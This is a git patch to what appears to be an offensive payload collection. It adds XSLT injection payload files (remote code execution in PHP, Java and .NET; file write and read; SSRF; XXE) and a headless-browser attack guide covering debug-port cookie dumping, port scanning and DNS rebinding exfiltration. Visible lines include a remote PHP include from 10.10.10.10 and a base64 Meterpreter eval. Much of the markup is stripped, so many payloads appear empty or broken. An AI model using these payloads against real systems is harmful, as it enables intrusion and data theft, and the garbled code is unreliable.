From b5251a673f716c994398a98c9efe6fa37249e1ea Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Fri, 31 May 2024 00:07:21 +0200 Subject: [PATCH] XSLT payloads + Headless Browser --- API Key Leaks/README.md | 17 +-- File Inclusion/README.md | 3 +- Headless Browser/README.md | 116 ++++++++++++++++++ Headless Browser/files/iframe.html | 5 + .../files/window_location_js.html | 7 ++ .../Files/enum-system-version-vendor.xsl | 8 ++ XSLT Injection/Files/file-write.xsl | 14 +++ XSLT Injection/Files/rce-dotnet-2.xsl | 26 ++++ XSLT Injection/Files/rce-dotnet.xsl | 22 ++++ XSLT Injection/Files/rce-java-1.xsl | 8 ++ XSLT Injection/Files/rce-java-2.xsl | 6 + XSLT Injection/Files/rce-php-assert.xsl | 9 ++ XSLT Injection/Files/rce-php-file-create.xsl | 5 + XSLT Injection/Files/rce-php-file-read.xsl | 6 + XSLT Injection/Files/rce-php-meterpreter.xsl | 8 ++ XSLT Injection/Files/rce-php-scandir.xsl | 5 + XSLT Injection/Files/read-and-ssrf.xsl | 14 +++ XSLT Injection/Files/xxe.xsl | 12 ++ XSLT Injection/README.md | 108 +++++++++------- 19 files changed, 346 insertions(+), 53 deletions(-) create mode 100644 Headless Browser/README.md create mode 100644 Headless Browser/files/iframe.html create mode 100644 Headless Browser/files/window_location_js.html create mode 100644 XSLT Injection/Files/enum-system-version-vendor.xsl create mode 100644 XSLT Injection/Files/file-write.xsl create mode 100644 XSLT Injection/Files/rce-dotnet-2.xsl create mode 100644 XSLT Injection/Files/rce-dotnet.xsl create mode 100644 XSLT Injection/Files/rce-java-1.xsl create mode 100644 XSLT Injection/Files/rce-java-2.xsl create mode 100644 XSLT Injection/Files/rce-php-assert.xsl create mode 100644 XSLT Injection/Files/rce-php-file-create.xsl create mode 100644 XSLT Injection/Files/rce-php-file-read.xsl create mode 100644 XSLT Injection/Files/rce-php-meterpreter.xsl create mode 100644 XSLT Injection/Files/rce-php-scandir.xsl create mode 100644 XSLT Injection/Files/read-and-ssrf.xsl create mode 100644 XSLT Injection/Files/xxe.xsl diff --git a/API Key Leaks/README.md b/API Key Leaks/README.md index 5b7715b..150e323 100644 --- a/API Key Leaks/README.md +++ b/API Key Leaks/README.md @@ -49,7 +49,9 @@ python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/ ``` - [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more. - +- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens + + ## Exploit The following commands can be used to takeover accounts or extract personal information from the API using the leaked token. @@ -223,14 +225,12 @@ $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt ``` ### Mapbox API Token -A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time. -``` -#Check token validity -curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN" -#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropriate scope) -curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN" -``` +A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time. + +* Check token validity: `curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"` +* Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope): `curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"` + ## References @@ -239,3 +239,4 @@ curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MA * [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/) * [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/) * [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/) +* [Introducing SignSaboteur: forge signed web tokens with ease - Zakhar Fedotkin - 22 May 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease) \ No newline at end of file diff --git a/File Inclusion/README.md b/File Inclusion/README.md index ad56f45..4a703e9 100644 --- a/File Inclusion/README.md +++ b/File Inclusion/README.md @@ -623,4 +623,5 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa * [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) * [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - 21/03/2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) * [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/) -* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) \ No newline at end of file +* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) +* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) \ No newline at end of file diff --git a/Headless Browser/README.md b/Headless Browser/README.md new file mode 100644 index 0000000..785d6f3 --- /dev/null +++ b/Headless Browser/README.md @@ -0,0 +1,116 @@ +# Headless Browser + +A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals. + +Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited. + + +## Headless Commands + +Example of headless browsers commands: + +```ps1 +google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com +firefox --screenshot https://www.google.com +"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com" +``` + + +## Local File Read + +Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html` + +* Javascript Redirect + ```html + + + + + + ``` + +* Iframe + ```html + + + + + + ``` + + +## Debugging Port + +**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html` + +**Tools**: + +* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies +* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header. + +> [!NOTE] +> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut. + +**Exploits**: + +* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices` +* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs +* Dump cookies: +* Stored data: `chrome://settings` +* Port Scan: In a loop open `http://localhost:/json/new?http://callback.example.com?port=` +* Leak UUID: Iframe: `http://127.0.0.1:/json/version` +* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05) +* Node inspector `--inspect` works like a `--remote-debugging-port` + ```ps1 + node --inspect app.js # default port 9229 + node --inspect=4444 app.js # custom port 4444 + node --inspect=0.0.0.0:4444 app.js + ``` + +> [!NOTE] +> The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser. + + +## Network + +### Port Scanning + +Port Scanning: Timing attack + +* Dynamically insert an `` tag pointing to a hypothetical closed port. Measure time to onerror. +* Repeat at least 10 times → average time to get an error for a closed port +* Test random port 10 times and measure time to error +* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened + +**Consideration**: + +* Chrome blocks by default a list of "known ports" +* Chrome blocks access to local network addresses except localhost through 0.0.0.0 + + +### DNS Rebinding + +* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework. + +1. Chrome will make 2 DNS requests: `A` and `AAAA` records + * `AAAA` response with valid Internet IP + * `A` response with internal IP +2. Chrome will connect in priority to the IPv6 (evil.net) +3. Close IPv6 listener just after first response +4. Open Iframe to evil.net +5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4 +6. From top window, inject script into iframe to exfiltrate content + + +## References + +* [Attacking Headless Browsers - truff - 22/05/2024](#bb-discord-replay-not-available) +* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/) +* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - Apr 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) +* [Node inspector/CEF debug abuse - HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse) +* [Chrome DevTools Protocol - Documentation](https://chromedevtools.github.io/devtools-protocol/) +* [Cookies with Chromium’s Remote Debugger Port - Justin Bui - Dec 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) +* [Debugging Cookie Dumping Failures with Chromium’s Remote Debugger - Justin Bui - Jul 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) +* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari) \ No newline at end of file diff --git a/Headless Browser/files/iframe.html b/Headless Browser/files/iframe.html new file mode 100644 index 0000000..0fd6386 --- /dev/null +++ b/Headless Browser/files/iframe.html @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/Headless Browser/files/window_location_js.html b/Headless Browser/files/window_location_js.html new file mode 100644 index 0000000..e2f300c --- /dev/null +++ b/Headless Browser/files/window_location_js.html @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/enum-system-version-vendor.xsl b/XSLT Injection/Files/enum-system-version-vendor.xsl new file mode 100644 index 0000000..b22e4ee --- /dev/null +++ b/XSLT Injection/Files/enum-system-version-vendor.xsl @@ -0,0 +1,8 @@ + + + +
Version: +
Vendor: +
Vendor URL: + + \ No newline at end of file diff --git a/XSLT Injection/Files/file-write.xsl b/XSLT Injection/Files/file-write.xsl new file mode 100644 index 0000000..d181cef --- /dev/null +++ b/XSLT Injection/Files/file-write.xsl @@ -0,0 +1,14 @@ + + + + + + Hello World! + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-dotnet-2.xsl b/XSLT Injection/Files/rce-dotnet-2.xsl new file mode 100644 index 0000000..c4187c2 --- /dev/null +++ b/XSLT Injection/Files/rce-dotnet-2.xsl @@ -0,0 +1,26 @@ + + + + + + + + + --- BEGIN COMMAND OUTPUT --- + + --- END COMMAND OUTPUT --- + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-dotnet.xsl b/XSLT Injection/Files/rce-dotnet.xsl new file mode 100644 index 0000000..ed2cb98 --- /dev/null +++ b/XSLT Injection/Files/rce-dotnet.xsl @@ -0,0 +1,22 @@ + + + + + + + + + + + +
+ +
+ + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-java-1.xsl b/XSLT Injection/Files/rce-java-1.xsl new file mode 100644 index 0000000..d5b7b26 --- /dev/null +++ b/XSLT Injection/Files/rce-java-1.xsl @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-java-2.xsl b/XSLT Injection/Files/rce-java-2.xsl new file mode 100644 index 0000000..8b5e526 --- /dev/null +++ b/XSLT Injection/Files/rce-java-2.xsl @@ -0,0 +1,6 @@ + + + + +. + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-php-assert.xsl b/XSLT Injection/Files/rce-php-assert.xsl new file mode 100644 index 0000000..883616d --- /dev/null +++ b/XSLT Injection/Files/rce-php-assert.xsl @@ -0,0 +1,9 @@ + + + + + include("http://10.10.10.10/test.php") + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-php-file-create.xsl b/XSLT Injection/Files/rce-php-file-create.xsl new file mode 100644 index 0000000..3437c10 --- /dev/null +++ b/XSLT Injection/Files/rce-php-file-create.xsl @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-php-file-read.xsl b/XSLT Injection/Files/rce-php-file-read.xsl new file mode 100644 index 0000000..e6ab249 --- /dev/null +++ b/XSLT Injection/Files/rce-php-file-read.xsl @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-php-meterpreter.xsl b/XSLT Injection/Files/rce-php-meterpreter.xsl new file mode 100644 index 0000000..1b5ff4e --- /dev/null +++ b/XSLT Injection/Files/rce-php-meterpreter.xsl @@ -0,0 +1,8 @@ + + + + eval(base64_decode('Base64-encoded Meterpreter code')) + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/rce-php-scandir.xsl b/XSLT Injection/Files/rce-php-scandir.xsl new file mode 100644 index 0000000..42197cd --- /dev/null +++ b/XSLT Injection/Files/rce-php-scandir.xsl @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/XSLT Injection/Files/read-and-ssrf.xsl b/XSLT Injection/Files/read-and-ssrf.xsl new file mode 100644 index 0000000..a1cdb53 --- /dev/null +++ b/XSLT Injection/Files/read-and-ssrf.xsl @@ -0,0 +1,14 @@ + + + + + + + Fruits: + + + + - : + + + \ No newline at end of file diff --git a/XSLT Injection/Files/xxe.xsl b/XSLT Injection/Files/xxe.xsl new file mode 100644 index 0000000..be63190 --- /dev/null +++ b/XSLT Injection/Files/xxe.xsl @@ -0,0 +1,12 @@ + +]> + + + Fruits &ext_file;: + + + + - : + + + \ No newline at end of file diff --git a/XSLT Injection/README.md b/XSLT Injection/README.md index 41648f1..5582e05 100644 --- a/XSLT Injection/README.md +++ b/XSLT Injection/README.md @@ -11,7 +11,7 @@ - [Determine the vendor and version](#determine-the-vendor-and-version) - [External Entity](#external-entity) - [Read files and SSRF using document](#read-files-and-ssrf-using-document) - - [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks) + - [Write files with EXSLT extension](#write-files-with-exslt-extension) - [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper) - [Remote Code Execution with Java](#remote-code-execution-with-java) - [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net) @@ -57,7 +57,6 @@ - : - ``` @@ -80,37 +79,27 @@ ``` -### Remote Code Execution with Embedded Script Blocks + +### Write files with EXSLT extension + +EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. ```xml - - - - - - - - --- BEGIN COMMAND OUTPUT --- - - --- END COMMAND OUTPUT --- + + + + Hello World! + ``` + ### Remote Code Execution with PHP wrapper Execute the function `readfile`. @@ -128,9 +117,9 @@ Execute the function `scandir`. ```xml - - - + + + ``` @@ -140,10 +129,10 @@ Execute a remote php file using `assert` - - include("http://10.10.10.10/test.php") - - + + include("http://10.10.10.10/test.php") + + ``` @@ -152,12 +141,12 @@ Execute a PHP meterpreter using PHP wrapper. ```xml - - - eval(base64_decode('Base64-encoded Meterpreter code')) - - - + + + eval(base64_decode('Base64-encoded Meterpreter code')) + + + ``` @@ -165,9 +154,9 @@ Execute a remote php file using `file_put_contents` ```xml - - - + + + ``` @@ -217,12 +206,43 @@ Execute a remote php file using `file_put_contents` - + ``` +```xml + + + + + + + + + --- BEGIN COMMAND OUTPUT --- + + --- END COMMAND OUTPUT --- + + +``` + + ## References * [From XSLT code execution to Meterpreter shells - @agarri - 02 July 2012](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html) * [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) * [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/) -* [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/) \ No newline at end of file +* [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/) +* [XSLT injection lead to file creation - PT SWARM - 30 may 2024](https://twitter.com/ptswarm/status/1796162911108255974/photo/1) \ No newline at end of file